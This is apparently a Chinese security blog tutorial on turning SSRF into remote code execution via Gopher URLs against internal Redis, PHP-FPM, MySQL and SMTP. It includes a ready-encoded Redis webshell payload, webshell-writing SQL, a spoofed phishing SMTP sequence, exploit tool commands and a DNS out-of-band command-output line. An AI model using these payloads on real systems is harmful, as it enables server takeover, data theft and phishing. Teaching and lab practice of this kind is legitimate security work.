1. 项目概述:从file://到Gopher的认知跃迁
在Web安全渗透测试,尤其是SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞的利用中,很多人的知识库还停留在
file://
协议读取本地文件,或者用
http://
探测内网端口的初级阶段。这就像你手里明明有一把万能钥匙,却只用来开自己家的门锁,实在是暴殄天物。今天,我想和你深入聊聊一个被严重低估的“上古神器”——Gopher协议。它绝不仅仅是CTF比赛里的一个考点,而是在真实内网渗透、权限提升中极具杀伤力的武器。Gopher协议能构造出近乎原生的TCP数据包,直接与内网的Redis、MySQL、FastCGI(PHP-FPM)、SMTP甚至Memcached等服务进行交互,从而实现命令执行、文件写入、数据窃取等深度攻击。
你可能会在Pikachu、N1Book、CTFShow等靶场或实战中遇到SSRF,但面对一个只能出网或探测到内网端口的漏洞点,如何进一步利用往往卡住了很多人。核心难点在于,如何将我们想发送的复杂协议指令(比如一条完整的Redis命令序列),通过SSRF这个通常只支持GET请求的“狭窄通道”传递出去。Gopher协议正是解决这个问题的“桥梁”。它允许我们将任意TCP流封装成一个特殊的URL,通过SSRF漏洞点作为跳板发送出去。理解并掌握Gopher的手工构造与自动化生成,是将一个中低危的SSRF漏洞转化为高危远程代码执行(RCE)的关键一步。这篇文章,我将从一个实战者的角度,拆解Gopher协议的原理、手工构造的每一个字节、自动化Payload生成工具的内核,并分享我在多次红队演练中积累的利用技巧和避坑指南。
2. Gopher协议的核心原理与协议格式拆解
2.1 Gopher协议的前世今生与工作模式
Gopher是一个比HTTP还要古老的互联网协议,诞生于1991年。你可以把它理解为一个纯文本的菜单驱动式信息检索系统。它的设计非常简洁:客户端向服务器端的70端口发起一个TCP连接,发送一行由
<TAB>
键分隔的请求字符串(例如一个文档路径),服务器则返回相应的文本信息,然后关闭连接。正是这种“一发一收即关闭”的简单模型,使得它能够被我们“借用”来传输任何我们想要的TCP数据流。
在SSRF的语境下,我们利用的不是Gopher协议原本检索文档的功能,而是它作为一个“TCP隧道”的特性。大多数支持发起网络请求的语言库(如PHP的
curl
、
file_get_contents
, Python的
urllib
, Java的
URLConnection
)在遇到
gopher://
开头的URL时,会尝试与指定主机和端口建立TCP连接,并将URL路径中编码后的内容作为TCP流
直接发送
过去。服务器端的响应通常会被丢弃(因为Gopher客户端原本就不处理复杂响应),但这对于我们发送攻击指令来说已经足够了。
关键在于
URL路径部分
。一个典型的Gopher URL格式为:
gopher://<host>:<port>/<gopher-path>
。其中
<gopher-path>
决定了发送的数据。这里有一个至关重要的细节:Gopher客户端(即我们的SSRF漏洞点)会
丢弃
<gopher-path>
的第一个字符
。通常,这个字符被用作指示资源类型的“类型标识符”(如
0
代表文本文件,
1
代表目录列表)。在利用时,我们用一个无关紧要的字符(常用下划线
_
)作为这第一个字符,让它被丢弃,从而确保我们精心构造的数据能完整发出。
2.2 协议数据构造的底层逻辑:以Redis为例
为什么Gopher能攻击Redis、MySQL等服务?因为这些服务都是基于TCP的文本或二进制协议。只要我们能在TCP层面复现出客户端与服务端握手、认证、发送命令的完整数据流,就能模拟一个合法的客户端。
我们以最经典的
Redis未授权访问利用
为例,拆解数据构造过程。假设我们想通过SSRF,让内网的一台Redis服务器(
172.16.1.100:6379
)执行以下命令序列,写入一个Webshell:
flushall
set 1 "<?php @eval($_POST['cmd']);?>"
config set dir /var/www/html
config set dbfilename shell.php
save
Redis协议(RESP)是一个文本行协议。上面的命令需要被转换成RESP格式。RESP的基本单元有:
-
简单字符串:
+OK\r\n -
错误:
-Error message\r\n -
整数:
:1000\r\n -
批量字符串:
$<长度>\r\n<数据>\r\n -
数组:
*<元素数量>\r\n<元素1><元素2>...
我们的命令需要被构造成数组。例如,
flushall
命令是一个没有参数的数组:
*1\r\n$8\r\nflushall\r\n
。解释一下:
-
*1表示这是一个包含1个元素的数组。 -
\r\n是RESP协议规定的行分隔符(CRLF)。 -
$8表示下一个批量字符串的长度是8字节。 -
flushall就是这8字节的内容。 -
最后再跟一个
\r\n。
现在,我们把完整的攻击序列转换成RESP格式:
*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nset\r\n$1\r\n1\r\n$31\r\n<?php @eval($_POST['cmd']);?>\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n
*1\r\n$4\r\nsave\r\n
这已经是我们需要发送的原始TCP数据了。接下来,为了将其放入Gopher URL,我们需要进行两步编码:
-
URL编码
:将特殊字符进行百分号编码。
\r变成%0d,\n变成%0a,空格变成%20等。 -
处理Gopher的“首字符丢弃”规则
:在编码后的数据前加上一个无用字符(如
_),并用这个字符作为Gopher路径的开始。
最终构造出的Gopher Payload如下:
gopher://172.16.1.100:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
当存在SSRF漏洞的服务器(例如
curl(gopher://...)
)访问这个URL时,它会与
172.16.1.100:6379
建立连接,并发送
_
之后的所有解码后的数据(即原始的RESP格式命令流)。Redis服务器会将其视为一个合法客户端发来的命令序列并执行,从而在
/var/www/html
目录下生成
shell.php
。
注意 :这里有一个极易出错的点。
file_get_contents()等函数在PHP中处理URL时,可能会对输入进行一次URL解码。如果你通过GET参数传递这个Payload,Web应用可能会先解码一次%0d%0a变成真正的换行,然后curl或file_get_contents再发送时,可能因为换行符导致格式错误。因此,有时需要对Payload进行 二次编码 ,即把%再编码成%25。例如,%0d变成%250d。这需要根据目标代码的具体上下文进行测试和调整。
3. 针对不同服务的Gopher Payload手工构造实战
理解了Redis的构造原理,我们就可以举一反三。不同的服务有不同的协议,构造逻辑相通,但细节各异。下面我们深入几个常见服务。
3.1 攻击PHP-FPM (FastCGI)
FastCGI是PHP与Web服务器(如Nginx)通信的协议。通过Gopher向PHP-FPM(通常监听9000端口)发送精心构造的FastCGI数据包,可以执行任意PHP代码,是绕过
disable_functions
限制的利器。
FastCGI协议是二进制协议,比Redis的文本协议复杂。一个执行PHP代码的FastCGI数据包主要包含两部分:
-
Params数据段
:设置环境变量,最重要的是
SCRIPT_FILENAME(通常设为已有的一个PHP文件路径,如/var/www/html/index.php)和PHP_VALUE(用于设置PHP配置,我们可以在这里注入auto_prepend_file或直接写入allow_url_include等)。 - Stdin数据段 :包含我们想要执行的PHP代码。
手工构造二进制数据包非常繁琐。通常的思路是,先用脚本(如Python)生成一个标准的、用于本地测试的恶意FastCGI数据包,捕获其原始TCP流量,然后将这个流量进行URL编码,前面加上
_
,拼接到Gopher URL中。
一个简化的利用步骤是:
-
使用公开的利用脚本(例如
gopherus工具中的php_fpm.py)生成Payload。你输入要执行的PHP命令和目标的SCRIPT_FILENAME。 - 脚本会输出一个已经编码好的Gopher URL。
- 通过SSRF漏洞点去请求这个URL。
其底层原理是模拟了一个FastCGI客户端,发送了
FCGI_BEGIN_REQUEST
、
FCGI_PARAMS
(包含
PHP_VALUE=allow_url_include=1+auto_prepend_file=php://input
)和
FCGI_STDIN
(包含
<?php system('id');?>
)等数据包。
实操心得 :攻击PHP-FPM成功的前提是,你指定的
SCRIPT_FILENAME在目标服务器上真实存在且FPM进程有权限读取。通常可以尝试/var/www/html/index.php、/usr/local/nginx/html/index.php等常见路径。如果找不到,攻击会失败。
3.2 攻击MySQL
利用Gopher攻击MySQL,通常用于在存在SSRF且内网有MySQL服务的情况下,进行身份认证绕过、执行SQL语句,甚至通过
SELECT ... INTO OUTFILE
写入文件。
MySQL协议在握手阶段和命令阶段也比较复杂。手工构造需要理解其数据包结构:
[数据包长度(3字节)][序列号(1字节)][数据]
。对于攻击而言,我们通常关注的是
COM_QUERY
命令包(字节
0x03
后接查询语句)。
一个典型的利用场景是:已知MySQL用户名密码(或弱口令),通过Gopher发送认证包和查询包。由于协议复杂,强烈建议使用自动化工具生成Payload。工具会帮你完成:
- 构造MySQL握手响应包(如果服务端需要)。
- 构造登录认证包(包含用户名、密码的加密哈希)。
-
构造
COM_QUERY包,执行如SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'这样的语句。
注意事项 :MySQL的
secure_file_priv系统变量会限制INTO OUTFILE能写入的目录。如果该变量为空,则可以写入任意目录;如果设置为某个路径,则只能写入该路径;如果为NULL,则禁止写入。在实战中需要先通过查询show variables like 'secure_file_priv'来确认。
3.3 攻击SMTP
SMTP(简单邮件传输协议,端口25)是发送邮件的协议。通过Gopher攻击内网SMTP服务器,可以伪造邮件发送者,进行钓鱼邮件攻击或邮件炸弹攻击。
SMTP是简单的文本协议,命令如
HELO
、
MAIL FROM
、
RCPT TO
、
DATA
、
QUIT
。构造Gopher Payload攻击SMTP相对简单:
-
将SMTP命令序列按行组装,每行以
\r\n结尾。 - 对整个序列进行URL编码。
-
前面加上
_,构成Gopher URL。
例如,一个伪造发件人的Payload可能如下(编码前):
HELO attacker.com\r\n
MAIL FROM:<spoofed@attacker.com>\r\n
RCPT TO:<victim@internal.company>\r\n
DATA\r\n
Subject: Urgent Security Update\r\n
This is a phishing email.\r\n
.\r\n
QUIT\r\n
将这个文本流编码后放入Gopher URL,通过SSRF发送到内网SMTP服务器,就可能成功发送一封伪造邮件。
避坑指南 :现代SMTP服务器通常有反垃圾邮件策略,如SPF、DKIM检查。攻击内部SMTP服务器可能更容易成功,但对外发送伪造邮件很可能被接收方服务器拒绝。此外,一些SMTP服务器需要认证(
AUTH LOGIN命令),如果不知道密码,攻击将止步于此。
4. 自动化Payload生成工具的原理与实战应用
手工构造Gopher Payload,尤其是对于二进制协议,极易出错且效率低下。因此,自动化工具应运而生。理解这些工具的原理,能让你更好地使用和调试它们。
4.1 主流工具解析:Gopherus与SSRFmap
1. Gopherus 这是一个用Python编写的经典工具,以其简单易用著称。它支持生成攻击Redis、MySQL、PHP-FPM、Zabbix等服务的Payload。
-
原理
:工具内部内置了针对不同服务的协议模板。当你选择服务类型并提供参数(如要执行的命令、文件路径、数据库名等)后,工具会:
- 调用对应的协议生成函数,构造出原始的协议数据流(字节序列)。
- 对这个数据流进行URL编码。
-
在编码后的数据前加上
_(或其他指定字符)。 -
拼接成完整的
gopher://URL输出。
-
使用示例
(攻击Redis写入Webshell):
工具会输出完整的Gopher URL。你只需要将其注入到存在SSRF的参数中即可。python gopherus.py --redis 172.16.1.100 6379 "/var/www/html" "shell.php" "<?php system($_GET['c']);?>" - 优点 :一键生成,无需理解底层协议细节。
- 缺点 :协议模板可能更新不及时,对于某些特殊版本或配置的服务可能不兼容。
2. SSRFmap 这是一个功能更强大的自动化SSRF利用框架,用Python编写。它不仅仅支持Gopher,还支持多种协议和利用方式。
-
原理
:SSRFmap采用模块化设计。它有一个“Gopher”模块,内部又细分了
redis、mysql等子模块。每个子模块是一个Python脚本,负责生成对应服务的Payload。它的工作流程更自动化:- 你提供存在SSRF的URL和参数。
- 工具自动探测内网存活主机和端口。
- 根据探测结果,自动选择相应的Payload模块进行测试。
-
使用示例
:
这个命令会尝试利用SSRF,向python ssrfmap.py -u "http://vuln-site.com/ssrf.php?url=XXX" -p url --lhost 172.16.1.100 --lport 6379 --redis-shell172.16.1.100:6379发送Redis写Shell的Payload。 - 优点 :自动化程度高,集成端口扫描、漏洞利用于一体。
- 缺点 :工具相对复杂,在高度定制化的场景下可能需要修改其模块代码。
4.2 自定义Payload生成脚本编写思路
当现成工具无法满足需求时(例如,需要攻击一个私有协议或特定版本的服务),你需要自己编写生成脚本。核心思路如下(以Python为例):
- 协议研究 :使用Wireshark抓取一次正常的客户端与服务端的通信流量。分析数据包的结构、顺序、编码。
- 模板构建 :将流量中固定不变的部分(如协议头、固定的命令字节)定义为常量或模板。
- 变量替换 :将需要动态变化的部分(如命令、文件路径、IP地址)作为变量,设计函数参数。
-
数据组装与编码
:将模板和变量拼接成完整的字节流
bytes,然后使用urllib.parse.quote函数进行URL编码。特别注意,要对整个字节流进行编码,而不仅仅是字符串。 -
Gopher URL拼接
:在编码后的字符串前加上
_,然后与gopher://host:port/拼接。
import urllib.parse
def generate_gopher_redis_payload(host, port, command_sequence):
"""
command_sequence: RESP格式的命令列表,例如 [b'*1\r\n$7\r\nflushall\r\n', ...]
"""
raw_data = b''.join(command_sequence)
# URL编码,注意是编码整个字节流
encoded_data = urllib.parse.quote(raw_data)
# 添加Gopher丢弃的首字符
gopher_path = '_' + encoded_data
# 拼接完整URL
gopher_url = f"gopher://{host}:{port}/{gopher_path}"
return gopher_url
# 示例:生成flushall命令
resp_cmd = b'*1\r\n$8\r\nflushall\r\n'
url = generate_gopher_redis_payload('127.0.0.1', 6379, [resp_cmd])
print(url)
5. 高级利用技巧、绕过与实战排查实录
掌握了基础构造和工具使用,我们进入更贴近实战的高级阶段。这里充满了各种“坑”和需要灵活应对的场景。
5.1 协议差异与编码陷阱
-
CRLF注入与协议混淆
:有些SSRF实现可能不完全遵循Gopher协议标准,或者后端处理逻辑有问题。例如,如果目标代码在拼接URL时没有正确过滤,我们可能可以在Gopher URL中注入额外的
\r\n来提前结束当前协议并开始一个新的协议会话(如从HTTP切换到SMTP),但这非常依赖于具体环境。 -
双重编码问题
:如前所述,这是最常见的坑。如果Payload被解码两次,
%0d%0a会先变成真正的换行符,在第二次发送时可能破坏数据格式。 解决方案 :在不确定的情况下,尝试发送双重编码的Payload。观察目标应用的响应,如果返回类似“Invalid Protocol”的错误,可能是解码次数不对。 -
字符集与二进制数据
:当Payload中包含非ASCII字符或纯二进制数据时,URL编码必须基于字节进行。在Python中,确保你对
bytes对象使用urllib.parse.quote,而不是对str对象。对str对象编码会使用UTF-8,这可能改变原始字节。
5.2 内网探测与不出网利用
Gopher在SSRF中最美妙的用途之一是攻击 不出网但SSRF点可访问的内网服务 。思路如下:
-
端口扫描
:利用SSRF的
file://协议读取/proc/net/tcp等文件来探测内网端口是基础方法。更主动的方法是,将Gopher Payload的目标端口设置为变量,批量请求,根据响应时间或错误信息差异来判断端口是否开放。例如,向一个关闭的端口发送Gopher请求通常会快速返回连接拒绝错误,而开放的端口可能会等待超时(如果服务不响应Gopher协议)。 -
服务指纹识别
:识别出开放端口后,可以发送一些简单的、通用的协议探测Payload。例如,向6379端口发送一个Redis的
PING命令(*1\r\n$4\r\nPING\r\n),如果返回+PONG(编码在响应里,虽然Gopher不处理响应,但有些SSRF实现可能会将错误信息或部分响应回显),则基本可以确定是Redis。 -
不出网写Shell
:这是经典场景。内网Redis未授权,但服务器不能访问外网。通过SSRF+Gopher,将Webshell写入内网Redis服务器所在的Web目录。然后,通过SSRF访问
http://内网IP/shell.php来触发命令执行。整个过程中,攻击者的流量只到达存在SSRF漏洞的边界服务器,内网Redis和Web服务都不需要出网。
5.3 常见问题排查速查表
在实战中,Gopher利用失败是常态。下面这个表格整理了常见现象、可能原因和排查步骤:
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 请求后无任何反应或长时间超时 |
1. 目标IP/端口不对或未开放。
2. 防火墙拦截。 3. 服务崩溃(如错误的Redis命令导致服务无响应)。 |
1. 先用
http://
协议探测目标IP端口通断。
2. 尝试发送一个最简单的、无害的协议命令(如Redis的
PING
)。
3. 在可控环境(如Docker)中复现测试Payload。 |
| 返回“Invalid URL”或“Protocol not supported” |
1. 目标服务器/中间件不支持
gopher://
协议。
2. URL格式错误,包含非法字符。 |
1. 确认漏洞点使用的网络库是否支持Gopher(如PHP的curl支持,但某些版本或配置可能禁用)。
2. 检查生成的URL,确保主机名、端口号格式正确,编码无误。 |
| 返回“Connection refused” | 目标端口关闭。 | 确认端口号,并确保服务正在运行。 |
| 服务收到了请求但未执行预期操作(如Redis没写入文件) |
1. Payload协议格式错误。
2. 权限不足(如Redis无法写入目标目录)。 3. 服务配置限制(如MySQL的
secure_file_priv
)。
4. 数据被中间件修改(如负载均衡器、WAF)。 |
1.
最有效的方法:在本地搭建相同版本的服务,用nc监听端口,将SSRF点发出的Payload重定向到本地nc,查看原始数据是否完全正确。
2. 检查命令逻辑,例如Redis的
dir
路径是否存在且可写。
3. 尝试更简单的命令验证服务是否可达,如Redis的
set test 123
。
|
| 命令被执行了,但效果不符合预期(如写入文件内容乱码) | 字符编码问题。Payload中的特殊字符或二进制数据在多次编解码中损坏。 |
1. 确保Payload生成脚本输出的是原始字节流的正确编码。
2. 在Payload中避免使用可能被Web服务器或中间件过滤的字符(如
\x00
空字节)。
3. 使用
bytes
类型处理数据,而非
str
。
|
5.4 我的实战心得与技巧
-
从简单到复杂
:不要一上来就尝试写Webshell。先发一个
PING或INFO(Redis)命令,确认协议通道是通的,服务是正常的。 -
善用网络调试工具
:
nc -lvp 9000是你最好的朋友。在测试阶段,可以将Gopher URL的目标指向你自己的VPS或本地监听的端口,查看SSRF漏洞点实际发送出来的原始数据到底是什么样子,这是调试Payload格式的黄金方法。 - 注意交互式协议 :像MySQL、SMTP这类有多次交互的协议,Gopher Payload需要包含完整的交互序列。工具生成的Payload通常假设了服务端的标准回应。如果服务端回应不符合预期(例如需要特定的认证插件),攻击可能会失败。这时需要更精细的流量分析。
-
利用DNS回显
:如果命令执行无回显,可以尝试使用DNS外带技术。例如,在Redis中执行
config set dbfilename "|digwhoami.your-dns-log.com"`(需根据实际情况调整),通过DNS查询记录来获取命令执行结果。 -
保持Payload的简洁和兼容性
:越复杂的Payload越容易出错。在写入文件时,优先考虑写入一个简单的命令执行后门,而不是功能复杂的大马。对于PHP,
<?php system($_GET[‘c’]);?>通常比<?php @eval($_POST[‘cmd’]);?>更可靠,因为后者可能受short_open_tag等配置影响。
Gopher协议在SSRF中的利用,是一门需要耐心和细致的手艺。它要求你对网络协议有深入的理解,对编码、数据格式有清晰的把握。从只会用
file://
读文件,到能熟练运用Gopher攻击内网多种服务,是一个Web安全研究者能力的重要分水岭。这个过程没有捷径,多搭建靶场环境(如Pikachu、N1Book、自己用Docker组合的脆弱服务)进行练习,多分析工具生成的Payload,多动手写调试脚本,才能真正掌握这门“内网穿行术”。当你在实战中,通过一个不起眼的SSRF入口,利用Gopher协议层层深入,最终拿到内网核心服务器权限时,那种成就感,远非简单的漏洞扫描所能比拟。

318

被折叠的 条评论
为什么被折叠?



